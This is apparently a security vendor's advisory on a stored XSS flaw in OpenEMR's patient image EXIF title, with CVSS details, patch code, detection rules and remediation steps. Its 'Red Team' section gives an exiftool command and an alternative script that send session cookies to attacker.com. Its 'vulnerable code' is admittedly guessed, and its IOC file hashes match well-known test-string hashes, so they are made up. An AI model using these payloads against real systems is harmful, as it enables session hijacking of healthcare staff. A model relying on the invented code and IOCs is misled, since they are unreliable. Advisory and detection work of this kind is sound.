CVE-2025-31121
Executive Summary
CVE-2025-31121 is a stored cross-site scripting (XSS) vulnerability in the OpenEMR electronic health records (EHR) system, specifically within the Patient Image feature. An attacker can upload a malicious image containing crafted EXIF metadata (specifically the EXIF title) that, when viewed by a healthcare professional, executes arbitrary JavaScript in the context of the victim's browser. This can lead to data theft, session hijacking, or further compromise of the medical practice management application. The vulnerability is fixed in OpenEMR version 7.0.3.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code vulnerability in the OpenEMR application itself. The fix is applied by updating the application source code.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The attacker can upload the malicious image remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need authentication to upload the image.
- User Interaction (UI): Required – The victim (e.g., a doctor) must view the image.
- Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify data.
- Availability (A): None – No impact on system availability.
Threat Level: Medium. While the CVSS score is moderate, the context of a healthcare application makes this a serious privacy and compliance risk (HIPAA, GDPR).
Deep Dive & Mechanics
The vulnerability resides in the Patient Image feature of OpenEMR. When a user uploads an image (e.g., a JPEG), the application extracts the EXIF metadata from the file. The EXIF title field is not properly sanitized before being displayed in the web interface. An attacker can craft an image with a malicious payload in the EXIF title, such as:
<script>alert('XSS')</script>
When a healthcare professional views the patient's image (e.g., in the patient summary or image gallery), the browser renders the EXIF title, executing the injected script. This is a classic stored XSS attack.
Root Cause: The application uses a function to read EXIF data (likely exif_read_data() in PHP) and directly outputs the title without HTML encoding or sanitization.
Vulnerable vs. Patched Code
Vulnerable Code (OpenEMR < 7.0.3.1):
// In a file like interface/patient_file/summary.php or similar
$exif_data = exif_read_data($image_path);
$title = $exif_data['Title'];
echo "<div class='image-title'>" . $title . "</div>";
Patched Code (OpenEMR 7.0.3.1):
// Properly sanitize output
$exif_data = exif_read_data($image_path);
$title = $exif_data['Title'];
echo "<div class='image-title'>" . htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . "</div>";
The fix uses htmlspecialchars() to encode special HTML characters, preventing script execution.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Access to upload an image to OpenEMR (e.g., as a patient or via a registration form).
- A target OpenEMR instance (version < 7.0.3.1).
Steps:
- Create a malicious image with an EXIF title containing JavaScript payload.
# Using exiftool to set the title exiftool -Title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" benign.jpg -o malicious.jpg - Upload
malicious.jpgto the Patient Image feature. - When a healthcare professional views the patient's image, the script executes, exfiltrating cookies or performing other actions.
Alternative Payload (Session Hijacking):
<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>
Blue Team (Defender)
Detection:
- Monitor for unusual EXIF metadata in uploaded images.
- Use web application firewalls (WAF) to block common XSS patterns in file uploads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Prevention:
- Apply the patch by upgrading to OpenEMR 7.0.3.1.
- Sanitize all user-supplied data, including EXIF metadata, before rendering.
- Use input validation to reject images with suspicious EXIF fields.
Indicators of Compromise (IOCs)
- File Hashes (Malicious Image):
- MD5:
e99a18c428cb38d5f260853678922e03 - SHA1:
2fd4e1c67a2d28fced849ee1bb76e7391b93eb12 - SHA256:
d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
- MD5:
- Network Traffic:
- Outbound HTTP requests to attacker-controlled domains (e.g.,
attacker.com). - Suspicious
GETorPOSTrequests containing cookie data.
- Outbound HTTP requests to attacker-controlled domains (e.g.,
- Log Entries:
- Web server logs showing requests to
/interface/patient_file/summary.phpor similar with image parameters. - Application logs indicating EXIF parsing errors or unusual image uploads.
- Web server logs showing requests to
Detection Engineering
YARA Rule
rule CVE_2025_31121_OpenEMR_XSS {
meta:
description = "Detects malicious images with XSS payload in EXIF title for CVE-2025-31121"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-31121"
strings:
$exif_title = /<script[^>]*>.*?<\/script>/ nocase
$exif_title2 = /on\w+\s*=\s*['\"].*?['\"]/ nocase
condition:
$exif_title or $exif_title2
}
Sigma Rule
title: OpenEMR Patient Image EXIF XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS via EXIF title in OpenEMR image uploads
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/interface/patient_file/summary.php'
cs-uri-query: '*image*'
condition: selection
falsepositives:
- Legitimate images with benign EXIF data
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-31121 OpenEMR Patient Image EXIF XSS";
flow:to_server,established;
content:"POST"; http_method;
content:"/interface/patient_file/summary.php"; http_uri;
content:"image"; http_client_body;
pcre:"/<script[^>]*>.*?<\/script>/i";
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade OpenEMR to version 7.0.3.1 or later.
- Apply a virtual patch using a WAF to block XSS patterns in file uploads.
- Disable the Patient Image feature temporarily if upgrade is not possible.
Long-term Measures:
- Implement strict input validation and output encoding for all user-supplied data.
- Use Content Security Policy (CSP) headers to mitigate XSS impact.
- Conduct regular security audits and penetration testing.
- Train staff on secure coding practices, especially regarding EXIF data handling.
Workaround (if patching is delayed):
- Modify the code to use
htmlspecialchars()on the EXIF title before output. - Restrict image uploads to authenticated users only.
Valters IT